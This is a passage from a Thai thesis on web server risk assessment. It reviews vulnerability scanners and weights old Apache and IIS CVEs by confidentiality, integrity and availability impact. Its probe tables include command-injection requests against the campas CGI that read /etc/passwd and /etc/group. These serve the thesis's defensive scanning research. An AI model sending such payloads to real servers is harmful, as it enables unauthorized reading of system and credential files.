ใชคนหาจุดบกพรองของเว็บเซิรฟเวอรจํานวนมาก นอกจากนี้ยังเปดโอกาสใหผูใชเพิ่มเงื่อนไขการ

รองขอขอมูลไดโดยทําการแกไขแฟมขอมูลที่กําหนดไว และโปรแกรมเอ็นซเท็ลสามารถสราง

รายงานสรุปผลการตรวจสอบจุดบกพรองใหแกผูใชงานได แตทั้งนี้ผูวิจัยพบวาโปรแกรมเอ็นซเทล็มี

จุดออนคือ มีการจัดระดับผลกระทบของจุดบกพรองเพียงสามระดับและไมมีการจําแนกระดับ

ผลกระทบตามประเภทของความเสียหายที่เกิดขึ้น นอกจากนั้นไมมีการนําผลการตรวจสอบ
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จุดบกพรองมาประมวลผลรวมกันเพื่อคํานวณคาความเสี่ยงของทั้งเว็บเซิรฟเวอร ทายสุดคือ

ผูใชงานไมสามารถปรับคาระดับผลกระทบใหเหมาะกับองคกร และไมมีการเสนอแนะวิธีการแกไข

จุดบกพรอง ตัวอยางหนาจอโปรแกรมเอ็นซเท็ลดังรูปที่  2.2 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

รูปที่ 2.1 ข้ันตอนการทํางานของโปรแกรมเอ็นซเท็ล 

 

เร่ิมการทํางาน 

จบการทํางาน 

 
เพ่ิมเง่ือนไขการ 
ตรวจสอบหรือไม 

ผูใชกําหนดหมายเลขไอ
พีและพอรตของเคร่ืองที่

ตองการตรวจสอบ 

ผูใชเพ่ิมเง่ือนไข 
การตรวจสอบในไฟล 

sample.txt 

ผูใชกําหนดรูปแบบของ 
จุดบกพรองที่ 

ตองการตรวจสอบ 

โปรแกรมสงการรองขอ 
ขอมูลไปยังพอรตและ 
หมายเลขไอพีท่ีกําหนด 

โปรแกรมรับผลการ
ตอบสนองขอมูลและ

วิเคราะห 
ผลการตอบสนองนั้น 

 
หมดเง่ือนไข 
การตรวจสอบ 

หรือไม 

รายงานผลการ
ตรวจสอบในรูปแบบของ 
เอกสารเอชทีเอ็มแอล 

ใช 

ไมใช 

ใช 

ไมใช 
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รูปที่ 2.2 ตัวอยางหนาจอโปรแกรมเอ็นซเท็ล 

2.2.5 โปรแกรมเน็ทแคท (NetCat) [14] 

โปรแกรมเน็ทแคทเปนโปรแกรมที่ใหผูใชงานสามารถรองขอขอมูลและวิเคราะห

ผลการตอบสนองขอมูลจากเว็บเซิรฟเวอรในแตละรายการรองขอขอมูลได โดยผูใชกําหนดการรอง

ขอขอมูลทีละรายการรองขอจากนั้นโปรแกรมจะสงรายการรองขอขอมูลไปยังเว็บเซิรฟเวอรและรับ

ผลการตอบสนองมาแสดงผลใหผูใชงานวิเคราะหขอมูลตอไป 

 
C:\nc>nc pacific.cp.eng.chula.ac.th 80 

ตัวอยางขางตนแสดงการรองขอเพื่อติดตอไปยังเว็บเซิรฟเวอร pacific.cp.eng. 

chula.ac.th ที่พอรตหมายเลข 80 (พอรตมาตรฐานที่ใหบริการเว็บเซิรฟเวอร) เมื่อติดตอกับเว็บ

เซิรฟเวอรไดแลว ผูใชงานสามารถสงการรองขอขอมูลเอชทีทีพีไปยังเว็บเซิรฟเวอรได ตัวอยาง

ดังตอไปนี้ เปนการสงคําสั่ง GET เพื่อใชรองขอขอมูลในเว็บเซิรฟเวอร 

 
C:\nc> GET / HTTP/1.0 

จากการรองขอขอมูลขางตนไดผลการตอบสนองจากเวบ็เซิรฟเวอรดังนี ้

 
HTTP/1.1 200 OK 

Date: Fri, 12 Dec 2003 08:48:15 GMT 

Server: Apache/1.3.19 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.5 OpenSSL/0.9.6 PHP/4.0.4pl1 

Last-Modified: Fri, 29 Mar 2002 03:01:55 GMT 
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ETag: "ea68-143-3ca3d923" 

Accept-Ranges: bytes 

Content-Length: 323 

Connection: close 

Content-Type: text/html 

 

<html> 

<head> 

<title>Redirect to Secure Server.</title> 

<meta http-equiv="Content-Type" content="text/html; charset=tis-620"> 

<meta http-equiv="refresh" content="0;URL=https://pacific.cp.eng.chula.ac.th"> 

</head> 

… 

ผลการตอบสนองที่ไดรับแสดงการตอบสนองที่สมบูรณ กลาวคือเว็บเซิรฟเวอร

สามารถตอบสนองผลการรองขอไดสําเร็จ พรอมสงขอมูลของการรองขอนั้นกลับมาเพื่อใหผูใชงาน

นําขอมูลที่ไดไปประมวลผลตอไป ทั้งนี้ผูใชงานสามารถเรียกดูขอมูลผานทางเว็บบราวเซอรเพื่อ

แสดงผลเอกสารเอชทีเอ็มแอลที่ทางเว็บเซิรฟเวอรสงมาได โปรแกรมเน็ทแคทมีขอดีคือผูใชงาน

สามารถรองขอขอมูลไดตามตองการซึ่งเปนการทํางานแบบกําหนดคําสั่งการทํางานโดยผูใชงาน

เอง กลาวคือผูใชงานตองกําหนดคําสั่งการทํางานทีละคําสั่งจึงทําใหไมไดรับความสะดวกในการใช

งานและตองใชผูชํานาญคําสั่งการทํางานของโปรโตคอลเอชทีทีพี นอกจากนั้นโปรแกรมเน็ทแคท

ไมมีการวิเคราะหผลและออกรายงานสรุปผลใหกับผูใชงานดวย 

2.2.6 โปรแกรมแซนแคท (Sandcat) [15] 

โปรแกรมแซนแคทเปนโปรแกรมที่มีหลักการทํางานเหมือนกับโปรแกรมเอ็นซเท็ล

ดังที่กลาวมาแลวขางตนแตทั้งนี้โปรแกรมแซนแคทไดเพิ่มในสวนของการจัดการรายการรองขอ

ขอมูลใหผูใชงานสามารถปรับปรุงแกไขรายการรองขอขอมูลไดสะดวกขึ้น แตอยางไรก็ตาม

โปรแกรมแซนแคทยังคงมีจุดออนเชนเดียวกับโปรแกรมเอ็นซเท็ลคือไมมีการนําผลการตรวจสอบ

จุดบกพรองมาประมวลผลรวมกัน เพื่อใชในการประเมินความเสี่ยงของทั้งเว็บเซิรฟเวอร ผูใชงาน

ไมสามารถปรับคาระดับผลกระทบได และไมมีการจัดเก็บขอเสนอแนะในการแกไขจุดบกพรอง 

ตัวอยางหนาจอโปรแกรมแซนแคทดังรูปที่  2.3 
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รูปที่ 2.3 ตัวอยางหนาจอโปรแกรมแซนแคท 



 

บทที่  3 
 

การออกแบบการประเมินความเสี่ยง 

ในบทนี้จะกลาวถึงองคประกอบของการประเมินความเสี่ยงที่ผูวิจัยไดออกแบบไว

ซึ่งมีขั้นตอนการออกแบบดังรูปที่ 3.1 โดยงานวิจัยนี้ไดนําจุดบกพรองซีวีอีเปนจุดบกพรองในการ

ประเมินความเสี่ยงของเว็บเซิรฟเวอร ซึ่งผูวิจัยไดกําหนดระดับผลกระทบของแตละจุดบกพรอง

จําแนกตามประเภทความเสียหายและทําการคํานวณคาความนาจะเปน เพื่อใชในการประเมิน

ความเสี่ยงของเว็บเซิรฟเวอรตอไป 

ซีวีอี กําหนดจุดบกพรอง

จุดบกพรองของอาปาเช
และไอไอเอสเว็บเซิรฟเวอร

กําหนดรายการรองขอขอมูล
กําหนดระดับผลกระทบจําแนก
ตามประเภทความเสียหาย

ระดับผลกระทบจําแนกตาม
ประเภทความเสียหาย

รายการรองขอขอมูล
ท่ีใชตรวจสอบจุดบกพรอง

คํานวณคาความเสี่ยง

คํานวณคาความนาจะเปนในการ
ตรวจพบจุดบกพรอง

 
รูปที่ 3.1 ข้ันตอนการออกแบบการประเมนิความเสี่ยง 



 18 

จากองคประกอบของการประเมินความเสี่ยงที่นิยมใชโดยทั่วไป [7] สามารถ

กําหนดองคประกอบของการประเมินความเสี่ยงของเว็บเซิรฟเวอรได 3 สวนไดแก จุดบกพรองที่จะ

ทําการตรวจสอบ ระดับผลกระทบของแตละจุดบกพรอง และคาความนาจะเปนในการตรวจสอบ

พบจุดบกพรองนั้น ดังรูปที่ 3.2 สามารถอธิบายไดวาการประเมินความเสี่ยงของเว็บเซิรฟเวอรที่

ผูวิจยันําเสนอใชจุดบกพรองซีวีอีที่เกี่ยวของกับอาปาเชและไอไอเอสเว็บเซิรฟเวอรเปนจุดบกพรอง

ในการประเมินความเสี่ยงของเว็บเซิรฟเวอร โดยผูวิจัยไดแบงระดับผลกระทบที่เกิดขึ้นของแตละ

จุดบกพรองตามประเภทความเสียหายทางดานการรักษาความมั่นคงของระบบคอมพิวเตอรไดแก 

การรักษาความลับ การบูรณภาพ และสภาพพรอมใชงาน และองคประกอบสวนสุดทายคือ        

คาความนาจะเปนของการคนพบจุดบกพรอง โดยผูวิจัยมีแนวคิดในการคํานวณคาความนาจะเปน

ในการที่จะคนพบจุดบกพรองตางๆ โดยใชการรวบรวมขอมูลของการคนพบจุดบกพรองจากเว็บ

เซิรฟเวอรภายใตโดเมนในประเทศไทยเพื่อใหไดขอมูลที่เกี่ยวของกับเว็บเซิรฟเวอรในประเทศไทย 

นอกจากนั้นไดทําการเก็บขอมูลเว็บเซิรฟเวอรของหนวยงานแหงหนึ่งที่มีการใหบริการเว็บ

เซิรฟเวอร และเว็บเซิรฟเวอรที่ทําการติดตั้งขึ้นเองเพื่อใชเปนขอมูลในการประเมินความเสี่ยงของ

เว็บเซิรฟเวอร โดยรายละเอียดของแตละองคประกอบจะกลาวเพิ่มเติมในหัวขอที่ 3.1 ถึง 3.3 

 
 

รูปที่ 3.2 แสดงโครงสรางของการประเมินความเสีย่ง [16] [17] 

 

3.1 จุดบกพรองที่ทําการตรวจสอบ (Xi) 

ผูวิจัยไดใชจุดบกพรองซีวีอีเวอรชัน 20030402 (วันที่ 2 เมษายน 2546) โดย    

คัดแยกเฉพาะจุดบกพรองที่เกี่ยวของกับอาปาเช และไอไอเอสเว็บเซิรฟเวอรไดจํานวน 33 

จุดบกพรอง [18] ดังแสดงในภาคผนวก ค โดยจุดบกพรองที่คัดแยกออกมานั้นจะใชเปน

จุดบกพรองในการตรวจสอบเว็บเซิรฟเวอรในงานวิจัยชิ้นนี้ โดยเมื่อไดรายการจุดบกพรองซีวีอีที่ใช

ความเสี่ยง 

จุดบกพรอง 

ระดับ

ผลกระทบ คาความนาจะเปน 

ซีวีอีทีเ่กี่ยวของกับ 

อาปาเชและไอไอเอส 

เว็บเซิรฟเวอร 

ความนาจะเปนใน 

การพบจุดบกพรองตางๆ  

เก็บรวบรวมจากเว็บเซริฟเวอรทั่วไป 

- การรักษาความลับ (Confidentiality) 

- การบูรณภาพ (Integrity) 

- สภาพพรอมใชงาน (Availability) 
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ในการตรวจสอบจุดบกพรองของเว็บเซิรฟเวอรแลว ผูวิจัยไดทําการกําหนดรายการรองขอขอมูล

เอชทีทีพีเพื่อใชในการตรวจสอบจุดบกพรองของเว็บเซิรฟเวอร จากนั้นนําผลที่ไดจากการ

ตรวจสอบไปคํานวณคาความเสี่ยงของเว็บเซิรฟเวอรตอไป โดยในที่นี้จะขอยกตัวอยางรายการรอง

ขอขอมูลเพื่อใชในการตรวจสอบจุดบกพรองเพียง 2 จุดบกพรองไดแก จุดบกพรองซีวีอี 1999-

0021 และ จุดบกพรองซีวีอี 1999-0146 ซึ่งรายการรองขอขอมูลเพื่อใชในการตรวจสอบ

จุดบกพรองทั้งหมดแสดงในภาคผนวก ง 

 

ตารางที่ 3.1 แสดงรายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซวีอีี 1999-0021 
หมายเลขซีวีอี คําอธิบาย 

ซีวีอี 1999 – 0021 Arbitrary command execution via buffer overflow in Count.cgi 

(wwwcount) cgi-bin program. 

รายการรองขอขอมูล GET /Count.cgi 

GET /cgis/Count.cgi 

GET /cgis/count.cgi 

GET /cgi-bin/Count.cgi 

GET /cgi-bin/count.cgi 

GET /cgi-local/Count.cgi 

GET /cgi-local/count.cgi 

GET /cgi/Count.cgi 

GET /cgi/count.cgi 

GET /cgis/Count.cgi 

GET /cgis/count.cgi 

GET /bin/Count.cgi 

GET /bin/count.cgi 

 

ตัวอยางในตารางที่ 3.1 แสดงจุดบกพรองซีวีอี 1999-0021 ซึ่งเปนจุดบกพรองที่

เกิดจากโปรแกรมเคานท (Count) ซึ่งเปนโปรแกรมที่ใชในการนับจํานวนผูที่เขาชมเว็บเพจที่ทํางาน

บนเว็บเซิรฟเวอร ดังนั้นผูวิจัยจึงกําหนดรายการรองขอขอมูลเพื่อใชในการตรวจสอบวาเว็บ

เซิรฟเวอรมีโปรแกรม count.cgi ทํางานอยูหรือไม ทั้งนี้การตรวจสอบจะทําการคนหาโปรแกรม

เคานทในไดเรกทอรีตางๆ ที่เปนไดเรกทอรีหลักของเว็บเซิรฟเวอร  
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จุดบกพรองซีวีอี 1999-0146 เปนจุดบกพรองที่เกิดจากโปรแกรมซีจีไอแคมปส 

(Campas) ซึ่งโปรแกรมดังกลาวมีจุดบกพรองที่ทําใหสามารถอานขอมูลในเว็บเซิรฟเวอรได ดังนั้น

จึงกําหนดรายการรองขอขอมูลเพื่อใชในการตรวจสอบเว็บเซิรฟเวอรดังกลาววามีโปรแกรมแคมปส

ทํางานอยูหรือไม ซึ่งลักษณะการตรวจสอบจะคลายกับการตรวจสอบจุดบกพรองซีวีอี 1999-0021 

ตัวอยางรายการรองขอขอมูลเพื่อตรวจสอบจุดบกพรองซีวีอี 1999-0146 แสดงในตารางที่ 3.2 

 

ตารางที่ 3.2 แสดงรายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซวีอีี 1999-0146 
หมายเลขซีวีอี คําอธิบาย 

ซีวีอี 1999 – 0146 The campas CGI program provided with some NCSA web servers allows 

an attacker to read arbitrary files. 

รายการรองขอขอมูล GET /campas 

GET /cgis/campas 

GET /cgi-bin/campas 

GET /cgi-bin/campas?%0acat%0a/etc/group%0a 

GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a 

GET /cgi-bin/campas?%0als%20-lFa%20/etc 

GET /cgi-local/campas 

GET /cgi/campas 

GET /cgis/campas 

GET /bin/campas 

 

3.2 ระดับผลกระทบ (Wi)  

การกําหนดระดับผลกระทบที่ใชกันโดยทั่วไป [19] นั้นไมไดกําหนดระดับ

ผลกระทบของจุดบกพรองจําแนกตามประเภทของความเสียหายที่เกิดขึ้นทั้งนี้จุดบกพรองตางๆ 

อาจมีผลกระทบในแตละประเภทความเสียหายมากนอยแตกตางกันไป จึงทําใหไมสามารถ

คํานวณความเสียหายที่เกิดข้ึนจําแนกตามประเภทของความเสียหายได ดังนั้นผูวิจัยไดนําเสนอ

การจําแนกระดับผลกระทบของความเสียหายที่เกิดขึ้นกับจุดบกพรองตามประเภทของความ

เสียหายที่สงผลกระทบตอความมั่นคงของระบบคอมพิวเตอรไดแก การรักษาความลับ การบูรณ-

ภาพ และสภาพพรอมใชงาน เพื่อใหสามารถกําหนดเงื่อนไขในการแบงระดับผลกระทบจําแนก

ตามประเภทของความเสียหายที่เกิดขึ้นได ซึ่งมีรายละเอียดดังนี้ 
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3.2.1 การรักษาความลับ (Confidentiality) คือ ความสามารถในการรักษา

ความลับเพื่อไมใหผูที่ไมมีสิทธิสามารถเรียกดูขอมูลที่เก็บไวได ยกเวนแตผูที่มีสิทธิอยางถูกตอง

เทานั้นจึงจะสามารถเรียกดูขอมูลดังกลาวไดตามสิทธิที่กําหนดไว 

3.2.2 การบูรณภาพ (Integrity) คือ ความสามารถในการรักษาความถูกตองของ

ขอมูลเพื่อไมใหผูที่ไมมีสิทธิสามารถแกไขขอมูลได ยกเวนแตผูที่มีสิทธิอยางถูกตองเทานั้นจึงจะ

สามารถแกไขขอมูลดังกลาวไดตามสิทธิที่กําหนดไว 

3.2.3 สภาพพรอมใชงาน (Availability) คือ การรักษาใหระบบอยูในสภาพที่

สามารถใหบริการหรือตอบสนองการใชงานของผูใชงานไดอยางเต็มประสิทธิภาพ 

ผูวิจัยไดกําหนดเงื่อนไขในการกําหนดระดับผลกระทบจําแนกตามประเภทความ

เสียหายที่เกิดขึ้นโดยวิเคราะหจากผลกระทบที่เกิดขึ้นจากจุดบกพรองและระดับผลกระทบที่ใชกัน

อยูในปจจุบัน [19] โดยเงื่อนไขในการกําหนดระดับผลกระทบในแตละประเภทความเสียหายแสดง

ในตารางที่ 3.3 

เมื่อไดคาถวงน้ําหนักของแตละประเภทความเสียหายแลวจึงทําการคํานวณคา

ความเสียหายของแตละจุดบกพรองโดยใชผลรวมของแตละประเภทความเสียหายที่เกิดจาก

จุดบกพรองนั้น ดังสมการตอไปนี้ 

iii AICi WWWW ++=
 

Wi คือระดับผลกระทบของจุดบกพรองที่ i 

WCi คือระดับผลกระทบของจุดบกพรองที่ i ทีส่งผลตอการรกัษาความลับ 

WIi คือระดับผลกระทบของจุดบกพรองที่ i ทีส่งผลตอการบรูณภาพ 

WAi คือระดับผลกระทบของจุดบกพรองที่ i ทีส่งผลตอสภาพพรอมใชงาน 

i คือลําดับของจุดบกพรองซวีีอี 

ดังนั้นจุดบกพรองตางๆ สามารถมีคาผลกระทบไดสูงสุดคือ 3 + 3 + 3 = 9 และมี

คาผลกระทบต่ําสุดคือ   0 + 0 + 0 = 0 หรือไมมีผลกระทบตอความมั่นคงของระบบนั่นเอง ซึ่งคา

ระดับผลกระทบนั้นแสดงถึงระดับความเสียหายที่เกิดขึ้นจากจุดบกพรองนั้นๆ โดยหากจุดบกพรอง

ใดมีคาระดับผลกระทบสูงหมายถึงจุดบกพรองนั้นสามารถสรางความเสียหายใหแกองคกรได

มากกวาจุดบกพรองที่ระดับผลกระทบต่ํากวา คาถวงน้ําหนักของจุดบกพรองทั้งหมดแสดงใน

ตารางที่ 3.4 

 



 22 

ตารางที่ 3.3 แสดงเงื่อนไขการกําหนดระดบัผลกระทบจาํแนกตามประเภทความเสยีหาย 
ระดับผลกระทบ 

ระดับ 3 (สูง) ระดับ 2 (ปานกลาง) ระดับ 1 (ตํ่า) ระดับ 0 (ไมมีผลกระทบ) 

การรักษาความลับ WC 

- สงผานคาพารามิเตอรเพื่อ

เรียกใชคําสั่งหรือโปรแกรมที่ใช

ในการเรียกดูขอมูล  เชน  dir, 

type, ls, cat, tail เปนตน โดยใช

สิทธิของผูใชงานสูงสุด โดยที่

ไมไดรับการอนุญาตใหใชสิทธิ

การใชงานนั้น 

- เรียกดูขอมูลในระบบไดโดยใช

สิทธิการเขาถึงขอมูลในระดับ

ผูใชงานสูงสุด (Super User) 

โดยที่ไมไดรับการอนุญาตใหใช

สิทธิในการเรียกดูขอมูลน้ัน 

- มุงใหผูอ่ืนสามารถเรียกดูขอมูล

ของระบบเปนหลัก 

 

- สงผานคาพารามิเตอรท่ีเรียกใช

คําสั่งหรือโปรแกรมที่ใชในการ

เรียกดูขอมูล เชน dir, type, ls, 

cat, tail เปนตน โดยใชสิทธิของ

ผูใชงาน (User) โดยท่ีไมไดรับ

การอนุญาตใหใชสิทธิการใชงาน

น้ัน  ท้ั ง น้ี สิทธิของผู ใช งานจะ

จํากัดกวาสิทธิของผูใชงานสูงสุด 

-  เรียกดูขอมูลในระบบไดโดยใช

สิทธิการเขาถึงขอมูลในระดับ

ผูใชงาน โดยที่ไมไดรับการ

อนุญาตใหใชสิทธิในการเรียกดู

ขอมูลน้ัน 

 

- เรียกดูขอมูลในระบบไดโดยใช

สิทธิการเขาถึงขอมูลในระดับ

ผูใชงานอื่นๆ (Other Users) 

โดยที่ไมไดรับการอนุญาตใหใช

สิทธิการใชงานนั้น เชนสิทธิของ

ผูใชงานโปรแกรมหรือสิทธิของ

ผู ใช งานที่ ไม ส งผลตอระบบ

โดยตรง โดยสิทธิดังกลาวมีสิทธิ

ในการเขาถึงขอมูลไดนอยกวา

สิทธิของผูใชงานสูงสุดและสิทธิ

ของผูใชงาน 

- เรียกใชคําสั่งหรือโปรแกรมที่ใช

ในการเรียกดูขอมูล  เชน  dir, 

type, ls, cat, tail เปนตน โดยใช

สิทธิของผูใชงานอื่นๆ โดยไมได

รับอนุญาตใหใชสิทธิน้ัน 

- ผูมีสิทธิสามารถเรียกดูขอมูลท่ี

เปดเผยแกบุคคลท่ัวไปตามสิทธิ

ท่ีอ นุญาตให เ ข าถึ งขอ มูลได

เทาน้ัน 

การบูรณภาพ WI 

- สงผานคาพารามิเตอรท่ีเรียกใช

คําสั่งหรือโปรแกรมที่ใชในการ

แกไขขอมูล เชน edit, vi, pico 

เปนตน  ในสิทธิของผู ใช งาน

สูงสุด โดยที่ไมไดรับการอนุญาต

ใหใชสิทธิการใชงานนั้น 

- สามารถแกไขขอมูลในระบบได

โดยใชสิทธิของผูใชงานสูงสุด

โดยที่ไมไดรับการอนุญาตใหใช

สิทธิในการแกไขขอมูลน้ัน 

- มุงใหผูอ่ืนสามารถแกไขขอมูล

ในระบบไดเปนหลัก 

- สงผานคาพารามิเตอรท่ีเรียกใช

คําสั่งหรือโปรแกรมที่ใชในการ

แกไขขอมูล เชน edit, vi, pico 

เปนตน ในสิทธิของผูใชงาน โดย

ท่ีไมไดรับการอนุญาตใหใชสิทธิ

การใชงานนั้น 

- สามารถแกไขขอมูลในระบบได

โดยใชสิทธิของผูใชงาน โดยที่

ไมไดรับการอนุญาตใหใชสิทธิใน

การแกไขขอมูลน้ัน 

- สามารถแกไขขอมูลของระบบ

ไดโดยใชสิทธิของผูใชงานทั่วไป 

โดยไมไดรับอนุญาตใหใชสิทธิ

การใชงานนั้น 

- เรียกใชคําสั่งหรือโปรแกรมที่ใช

ในการแกไขขอมูล เชน edit, vi, 

pico เปนตน ในสิทธิของผูใชงาน

อ่ืนๆ โดยที่ไมไดรับอนุญาตใหใช

สิทธิน้ัน 

- ผูมีสิทธิสามารถแกไขขอมูลท่ี

อนุญาตใหแกไขตามสิทธิท่ีไดรับ

เทาน้ัน 

สภาพพรอมใชงาน WA 

- สงผานคาพารามิเตอรท่ีเรียกใช

คําส่ังท่ีทําใหระบบไมสามารถ

ใหบริการไดเชน shutdown โดย

ใชสิทธิของผูใชงานสูงสุดโดยที่

ไมไดรับการอนุญาตใหใชสิทธิ

การใชงานนั้น 

- ทําใหผูใชงานระบบไมสามารถ

ใชบริการระบบได  

- ทําใหเกิดหนวยความจําทวม

ลน 

- หยุดการใหบริการบางสวนของ

ระบบ โดยบริการดังกลาวอยูใน

การควบคุมของผูใชงานอ่ืน เชน 

กําหนดสิทธิในการเขาถึงขอมูล

ของผูใช หรือทําใหผูใชงานบาง

คนไมสามารถเขาสูระบบได โดย

ท่ีไมไดรับอนุญาตใหใชสิทธิน้ัน 

- เกิดการสรางขอมูลจํานวนมาก

ในระบบแตระบบยังสามารถ

ใหบริการไดปกติ 

- ผูมีสิทธิสามารถเปดหรือปด

การใหบริการของเครื่องแมขาย

ไดตามสิทธิท่ีไดรับเทาน้ัน 
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ตารางที่ 3.4 คาถวงน้าํหนกัของแตละจดุบกพรอง 

 การรักษาความลับ การบูรณภาพ สภาพพรอมใชงาน 

ซีวีอี 1999-0021 2 2 3 

ซีวีอี 1999-0066 2 2 3 

ซีวีอี 1999-0067 3 3 3 

ซีวีอี 1999-0070 3 3 0 

ซีวีอี 1999-0146 3 3 3 

ซีวีอี 1999-0172 2 2 2 

ซีวีอี 1999-0174 3 2 0 

ซีวีอี 1999-0191 2 3 0 

ซีวีอี 1999-0237 2 2 2 

ซีวีอี 1999-0260 2 2 2 

ซีวีอี 1999-0262 2 2 0 

ซีวีอี 1999-0264 3 0 0 

ซีวีอี 1999-0266 2 2 2 

ซีวีอี 1999-0278 3 0 0 

ซีวีอี 1999-0874 0 0 3 

ซีวีอี 2000-0010 3 3 3 

ซีวีอี 2000-0208 3 0 0 

ซีวีอี 2000-0226 0 0 3 

ซีวีอี 2000-0287 3 3 3 

ซีวีอี 2000-0770 2 2 0 

ซีวีอี 2000-0778 3 0 0 

ซีวีอี 2000-0884 3 2 1 

ซีวีอี 2000-0886 2 2 1 

ซีวีอี 2000-0941 3 3 3 

ซีวีอี 2001-0151 0 0 3 

ซีวีอี 2001-0241 3 3 3 

ซีวีอี 2001-0333 3 3 3 

ซีวีอี 2001-0500 0 0 3 
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ตารางที่ 3.4 คาถวงน้าํหนกัของแตละจดุบกพรอง (ตอ) 

 การรักษาความลับ การบูรณภาพ สภาพพรอมใชงาน 

ซีวีอี 2001-0507 3 3 3 

ซีวีอี 2002-0061 3 2 1 

ซีวีอี 2002-0082 0 0 3 

ซีวีอี 2002-0392 0 0 3 

ซีวีอี 2002-0513 3 3 3 

 

จากเงื่อนไขในการกําหนดระดับผลกระทบดังตารางที่ 3.3 สามารถกําหนดคาถวง

น้ําหนักของแตละจุดบกพรองซีวีอีจําแนกตามระดับผลกระทบของประเภทความเสียหายไดดัง

แสดงในตารางที่ 3.4 โดยมีเหตุผลประกอบการใหคาถวงน้ําหนักดังตอไปนี้ 

จุดบกพรองซีวีอี 1999-0021 (ปญหาพารามิเตอรของซีจีไอเคานท) เปน

จุดบกพรองที่เกิดจากโปรแกรมเคานทที่ทํางานบนเว็บเซิรฟเวอรซึ่งทําใหสามารถสงผานคําสั่งไป

ทํางานบนเครื่องดังกลาวไดโดยผานทางโปรแกรมเคานท กลาวคือโปรแกรมดังกลาวไมมีการ

ตรวจสอบคาที่สงผานไปยังเว็บเซิรฟเวอรทั้งนี้จึงอาจทําใหเกิดหนวยความจําทวมลน (Buffer 

Overflow) ได ซึ่งสงผลกระทบตอสภาพพรอมใชงานในระดับสูง นอกจากนั้นยังอาจทําใหเรียกดู

ขอมูลหรือแกไขขอมูลบนเครื่องที่ใหบริการเว็บเซิรฟเวอรไดบางสวน แตทั้งนี้เนื่องจากสิทธิการ

ทํางานที่สามารถเขาถึงขอมูลไมไดเปนสิทธิของผูใชงานสูงสุด จึงสงผลกระทบตอการรักษา

ความลับและการบูรณภาพในระดับปานกลาง 

จุดบกพรองซีวีอี 1999-0066 (ปญหาพารามิเตอรของโปรแกรมเอนีฟอรม) 
เปนจุดบกพรองที่เกิดจากการไมตรวจสอบคาพารามิเตอรที่สงผานไปยังโปรแกรมเอนีฟอรม 

(AnyForm) ซึ่งเปนโปรแกรมซีจีไอที่ทํางานบนเว็บเซิรฟเวอรจึงทําใหเกิดหนวยความจําทวมลน 

และสงผลกระทบตอสภาพพรอมใชงานในระดับสูงนอกจากนั้นอาจทําใหสามารถเรียกดูขอมูลใน

เครื่องไดโดยการสงคําสั่งที่ใชในการเรียกดูขอมูลเชน type หรือ ls เปนตน หรือคําสั่งที่ใชในการ

แกไขขอมูลเชน copy หรือ cp เปนตน โดยใชสิทธิของผูใชงาน ดังนั้นจึงสงผลกระทบตอการรักษา

ความลับและการบูรณภาพขอมูลในระดับปานกลาง  

จุดบกพรองซีวีอี 1999-0067 (ปญหาพารามิเตอรของซีจีไอพีเอชเอฟ) เปน

จุดบกพรองที่เกิดจากการเขียนโปรแกรมซีจีไอที่ชื่อวาพีเอชเอฟ (phf) ซึ่งเปนโปรแกรมทํางาน

เกี่ยวกับสมุดโทรศัพท ซึ่งปญหาของจุดบกพรองนี้เกิดจากการไมตรวจสอบคาพารามิเตอรทีส่งผาน
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ไปยังเว็บเซิรฟเวอรของโปรแกรมพีเอชเอฟทําใหผูใชงานสามารถผานระบบรักษาความมั่นคงของ

เว็บเซิรฟเวอรในสิทธิของผูใชงานสูงสุดได ดังนั้นจึงทําใหจุดบกพรองนี้มีผลกระทบตอเว็บ

เซิรฟเวอรในทุกประเภทความเสียหายในระดับสูงเนื่องจากการผานระบบรักษาความมั่นคงในสิทธิ

ของผูใชงานสูงสุดอาจทําใหระบบไมสามารถใหบริการตอไปไดคือมีผลกระทบตอสภาพพรอมใช

งานของระบบในระดับสูง นอกจากนั้นการผานเขาสูระบบดวยสิทธิผูใชงานสูงสุดอาจทําให

สามารถเรียกดูหรือแกไขขอมูลที่สําคัญในระบบได จึงสงผลกระทบตอการรักษาความลับและการ

บูรณภาพขอมูลในระดับสูงดวยเชนกัน 

จุดบกพรองซีวอีี 1999-0070 (คาโดยปริยายของอาปาเช) เมื่อผูใชงานติดตั้ง

อาปาเชเว็บเซิรฟเวอรโปรแกรมจะติดตั้งโปรแกรมเพื่อใชทดสอบซีจีไอ (test-cgi) โดยปริยาย 

(Default) ซึ่งโปรแกรมดังกลาวมีจุดบกพรองที่สามารถเรียกดูขอมูลในระบบเชน ไดเรกทอรีหรือ

แฟมขอมูลได ดังนั้นจุดบกพรองซีวีอี 1999-0070 จึงสงผลกระทบตอการรักษาความลับของขอมูล

และการบูรณภาพขอมูลในระดับสูง แตทั้งนี้ไมมีผลกระทบตอสภาพพรอมใชงานของระบบ 

จุดบกพรองซีวีอี 1999-0146 (ปญหาพารามิเตอรของซีจีไอแคมปส) เปน

จุดบกพรองที่เกิดกับโปรแกรมแคมปส (Campas) ซึ่งเปนโปรแกรมซีจีไอที่ทํางานบนเว็บเซิรฟเวอร

โดยโปรแกรมดังกลาวมีจุดบกพรองที่ทําใหผูใชงานสามารถเรียกดูขอมูลในเครื่องเชน ขอมูล

รหัสผานของผูใชงานตางๆ ที่มีอยูในระบบได ดังนั้นจุดบกพรองซีวีอี 1999-0146 จึงสงผลกระทบ

ตอการรักษาความลับและการบูรณภาพขอมูลในระดับสูง นอกจากนี้จุดบกพรองนี้ยังเขาถึง

รหัสผานของผูใชงานสูงสุดไดจึงสงผลตอสภาพพรอมใชงานของระบบในระดับสูงดวยเชนกัน 

จุดบกพรองซีวีอี 1999-0172 (ปญหาพารามิเตอรของซีจีไอฟอรมเมล) 
จุดบกพรองนี้ เกิดขึ้นกับโปรแกรมซีจีไอที่ใชในการสงอีเมล ผานทางเว็บเพจชื่อฟอรมเมล

(FormMail) โดยโปรแกรมดังกลาวเปนชองทางใหสงคําสั่งเขาไปทํางานยังเครื่องที่ใหบริการเว็บ

เซิรฟเวอรได ทั้งนี้คําสั่งที่สงเขาไปสามารถทํางานในสิทธิของผูใชงานได ดังนั้นจึงสงผลกระทบตอ

การรักษาความลับ การบูรณภาพขอมูล และสภาพพรอมใชงานในระดับปานกลาง 

จุดบกพรองซีวีอี 1999-0174 (โปรแกรมวิวซอรสซ่ึงทําใหเกิดปญหาการ
